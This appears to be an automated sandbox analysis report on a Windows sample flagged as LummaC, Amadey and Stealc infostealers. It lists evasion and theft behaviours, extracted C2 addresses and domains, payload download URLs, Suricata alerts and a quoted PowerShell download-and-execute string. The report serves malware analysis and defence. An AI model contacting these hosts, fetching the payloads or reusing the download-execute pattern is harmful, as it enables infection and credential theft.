Edit tour

Windows Analysis Report
vVJvxAfBDM.exe

Overview

General Information

Sample name:	vVJvxAfBDM.exe renamed because original name is a hash value
Original sample name:	b66c35386662acd2cbfe2f6518d0698b.exe
Analysis ID:	1581244
MD5:	b66c35386662acd2cbfe2f6518d0698b
SHA1:	ff6ab5c12ca8755c9e7e4912b56b7eae5ac12a8b
SHA256:	f4ae790d6b19724d993ea18dc395b1df8901146424255976f712027b18e30803
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadey

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

vVJvxAfBDM.exe (PID: 7496 cmdline: "C:\Users\user\Desktop\vVJvxAfBDM.exe" MD5: B66C35386662ACD2CBFE2F6518D0698B)

SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe (PID: 7996 cmdline: "C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe" MD5: 17D940E3012D0A3589F9DCB08CB8AACB)

KXEO11ILDTYX6ZOG0B.exe (PID: 5816 cmdline: "C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe" MD5: 0A0F11159921131E89D2E3203E99B1F6)

skotes.exe (PID: 3516 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 0A0F11159921131E89D2E3203E99B1F6)

skotes.exe (PID: 7520 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 0A0F11159921131E89D2E3203E99B1F6)

14dd9bf3c4.exe (PID: 2400 cmdline: "C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe" MD5: 9AB250B0DC1D156E2D123D277EB4D132)

conhost.exe (PID: 2092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

14dd9bf3c4.exe (PID: 3392 cmdline: "C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe" MD5: 9AB250B0DC1D156E2D123D277EB4D132)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": ["pancakedipyps.click", "curverpluch.lat", "slipperyloo.lat", "wordyfindy.lat", "bashfulacid.lat", "talkynicer.lat", "manyrestro.lat", "shapestickyr.lat", "tentabatte.lat"], "Build id": "FATE99--test"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.1691504958.0000000000281000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1438293982.0000000001494000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.1770294583.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000002.1693019497.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1438242809.000000000148C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1438136460.000000000148A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.1738420714.00000000006D1000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: vVJvxAfBDM.exe PID: 7496	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: vVJvxAfBDM.exe PID: 7496	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: vVJvxAfBDM.exe PID: 7496	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe PID: 7996	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe PID: 7996	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 14dd9bf3c4.exe PID: 3392	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 14dd9bf3c4.exe PID: 3392	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 14dd9bf3c4.exe PID: 3392	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 14dd9bf3c4.exe PID: 3392	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 18 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.2.skotes.exe.7a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
5.2.KXEO11ILDTYX6ZOG0B.exe.6d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.2.skotes.exe.7a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe.280000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
3.2.SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe.280000.0.unpack	infostealer_win_stealc_str_oct24	Finds Stealc standalone samples (or dumps) based on the strings	Sekoia.io	0x347d8:$str01: -nop -c "iex(New-Object Net.WebClient).DownloadString( 0x34930:$str02: Azure\.IdentityService 0x34954:$str03: steam_tokens.txt 0x345e8:$str04: "encrypted_key":" 0x34710:$str05: prefs.js 0x34788:$str06: browser: FileZilla 0x3479c:$str07: profile: null 0x347ac:$str08: url: 0x347b4:$str09: login: 0x347bc:$str10: password:

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:02:16.380558+0100	2028371	3	Unknown Traffic	192.168.2.11	49712	104.21.11.101	443	TCP
2024-12-27T09:02:18.481823+0100	2028371	3	Unknown Traffic	192.168.2.11	49717	104.21.11.101	443	TCP
2024-12-27T09:02:21.077627+0100	2028371	3	Unknown Traffic	192.168.2.11	49723	104.21.11.101	443	TCP
2024-12-27T09:02:23.320242+0100	2028371	3	Unknown Traffic	192.168.2.11	49729	104.21.11.101	443	TCP
2024-12-27T09:02:25.618056+0100	2028371	3	Unknown Traffic	192.168.2.11	49735	104.21.11.101	443	TCP
2024-12-27T09:02:28.127970+0100	2028371	3	Unknown Traffic	192.168.2.11	49741	104.21.11.101	443	TCP
2024-12-27T09:02:30.667115+0100	2028371	3	Unknown Traffic	192.168.2.11	49748	104.21.11.101	443	TCP
2024-12-27T09:02:34.500708+0100	2028371	3	Unknown Traffic	192.168.2.11	49762	104.21.11.101	443	TCP
2024-12-27T09:03:30.487426+0100	2028371	3	Unknown Traffic	192.168.2.11	49891	104.21.23.76	443	TCP
2024-12-27T09:03:32.513645+0100	2028371	3	Unknown Traffic	192.168.2.11	49898	104.21.23.76	443	TCP
2024-12-27T09:03:34.969213+0100	2028371	3	Unknown Traffic	192.168.2.11	49905	104.21.23.76	443	TCP
2024-12-27T09:03:37.547627+0100	2028371	3	Unknown Traffic	192.168.2.11	49912	104.21.23.76	443	TCP
2024-12-27T09:03:40.133999+0100	2028371	3	Unknown Traffic	192.168.2.11	49919	104.21.23.76	443	TCP
2024-12-27T09:03:42.762983+0100	2028371	3	Unknown Traffic	192.168.2.11	49927	104.21.23.76	443	TCP
2024-12-27T09:03:45.465485+0100	2028371	3	Unknown Traffic	192.168.2.11	49936	104.21.23.76	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:02:17.128209+0100	2054653	1	A Network Trojan was detected	192.168.2.11	49712	104.21.11.101	443	TCP
2024-12-27T09:02:19.263374+0100	2054653	1	A Network Trojan was detected	192.168.2.11	49717	104.21.11.101	443	TCP
2024-12-27T09:02:35.267041+0100	2054653	1	A Network Trojan was detected	192.168.2.11	49762	104.21.11.101	443	TCP
2024-12-27T09:03:31.243476+0100	2054653	1	A Network Trojan was detected	192.168.2.11	49891	104.21.23.76	443	TCP
2024-12-27T09:03:33.293370+0100	2054653	1	A Network Trojan was detected	192.168.2.11	49898	104.21.23.76	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:02:17.128209+0100	2049836	1	A Network Trojan was detected	192.168.2.11	49712	104.21.11.101	443	TCP
2024-12-27T09:03:31.243476+0100	2049836	1	A Network Trojan was detected	192.168.2.11	49891	104.21.23.76	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:02:19.263374+0100	2049812	1	A Network Trojan was detected	192.168.2.11	49717	104.21.11.101	443	TCP
2024-12-27T09:03:33.293370+0100	2049812	1	A Network Trojan was detected	192.168.2.11	49898	104.21.23.76	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:03:30.487426+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.11	49891	104.21.23.76	443	TCP
2024-12-27T09:03:32.513645+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.11	49898	104.21.23.76	443	TCP
2024-12-27T09:03:34.969213+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.11	49905	104.21.23.76	443	TCP
2024-12-27T09:03:37.547627+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.11	49912	104.21.23.76	443	TCP
2024-12-27T09:03:40.133999+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.11	49919	104.21.23.76	443	TCP
2024-12-27T09:03:42.762983+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.11	49927	104.21.23.76	443	TCP
2024-12-27T09:03:45.465485+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.11	49936	104.21.23.76	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:03:31.624188+0100	2044696	1	A Network Trojan was detected	192.168.2.11	49896	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:03:28.894721+0100	2058397	1	Domain Observed Used for C2 Detected	192.168.2.11	62332	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:02:21.935363+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.11	49723	104.21.11.101	443	TCP
2024-12-27T09:03:36.060963+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.11	49905	104.21.23.76	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:02:50.143855+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.11	49793	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:03:06.222208+0100	2856147	1	A Network Trojan was detected	192.168.2.11	49831	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:03:30.242953+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.11	49879	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:03:26.745123+0100	2803305	3	Unknown Traffic	192.168.2.11	49880	31.41.244.11	80	TCP

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mindhandru.buzz

Source: vVJvxAfBDM.exe, vVJvxAfBDM.exe, 00000000.00000003.1624227235.00000000014EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: vVJvxAfBDM.exe, 00000000.00000003.1624227235.00000000014EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/L
Source: vVJvxAfBDM.exe, 00000000.00000003.1624537866.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: vVJvxAfBDM.exe, 00000000.00000003.1624672739.000000000148A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: vVJvxAfBDM.exe, 00000000.00000003.1624227235.00000000014EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/~
Source: vVJvxAfBDM.exe, 00000000.00000003.1624672739.0000000001475000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/steam/random.exeh
Source: SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe, 00000003.00000002.1693019497.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe, 00000003.00000002.1693019497.0000000000D34000.00000004.00000020.00020000.00000000.sdmp, SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe, 00000003.00000002.1693019497.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe, 00000003.00000002.1693019497.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/(
Source: SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe, 00000003.00000002.1693019497.0000000000D34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/)
Source: SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe, 00000003.00000002.1693019497.0000000000D34000.00000004.00000020.00020000.00000000.sdmp, SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe, 00000003.00000002.1693019497.0000000000D15000.00000004.00000020.00020000.00000000.sdmp, SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe, 00000003.00000002.1693019497.0000000000D46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe, 00000003.00000002.1693019497.0000000000D15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php-
Source: SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe, 00000003.00000002.1693019497.0000000000D34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe, 00000003.00000002.1693019497.0000000000D15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpE
Source: SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe, 00000003.00000002.1693019497.0000000000D15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpq
Source: skotes.exe, 00000007.00000002.2559166962.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.2559166962.0000000000F77000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.2559166962.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.2559166962.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.2559166962.0000000000FC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000007.00000002.2559166962.0000000000FC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php.
Source: skotes.exe, 00000007.00000002.2559166962.0000000000FC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php2
Source: skotes.exe, 00000007.00000002.2559166962.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php4087001
Source: skotes.exe, 00000007.00000002.2559166962.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpC
Source: skotes.exe, 00000007.00000002.2559166962.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpE.ax
Source: skotes.exe, 00000007.00000002.2559166962.0000000000FC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpJGAx
Source: skotes.exe, 00000007.00000002.2559166962.0000000000F77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpT
Source: skotes.exe, 00000007.00000002.2559166962.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpUserK.sx
Source: skotes.exe, 00000007.00000002.2559166962.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpcoded
Source: skotes.exe, 00000007.00000002.2559166962.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000007.00000002.2559166962.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncodedB.hxt
Source: skotes.exe, 00000007.00000002.2559166962.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncodedn.Tx
Source: skotes.exe, 00000007.00000002.2559166962.0000000000FC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpqYo30zpOYVp
Source: skotes.exe, 00000007.00000002.2559166962.0000000000FC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phprG)x
Source: skotes.exe, 00000007.00000002.2559166962.0000000000F77000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.2559166962.0000000000FA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exe
Source: skotes.exe, 00000007.00000002.2559166962.0000000000F77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exe$
Source: skotes.exe, 00000007.00000002.2559166962.0000000000FA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exe84760
Source: vVJvxAfBDM.exe, 00000000.00000003.1412239995.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2156796810.000000000343C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: vVJvxAfBDM.exe, 00000000.00000003.1412239995.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2156796810.000000000343C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: vVJvxAfBDM.exe, 00000000.00000003.1412239995.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2156796810.000000000343C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: vVJvxAfBDM.exe, 00000000.00000003.1412239995.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2156796810.000000000343C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: vVJvxAfBDM.exe, 00000000.00000003.1412239995.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2156796810.000000000343C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: vVJvxAfBDM.exe, 00000000.00000003.1412239995.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2156796810.000000000343C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: vVJvxAfBDM.exe, 00000000.00000003.1412239995.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2156796810.000000000343C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: vVJvxAfBDM.exe, 00000000.00000003.1412239995.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2156796810.000000000343C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: vVJvxAfBDM.exe, 00000000.00000003.1412239995.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2156796810.000000000343C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: vVJvxAfBDM.exe, 00000000.00000003.1412239995.0000000005E3F000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2156796810.000000000343C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
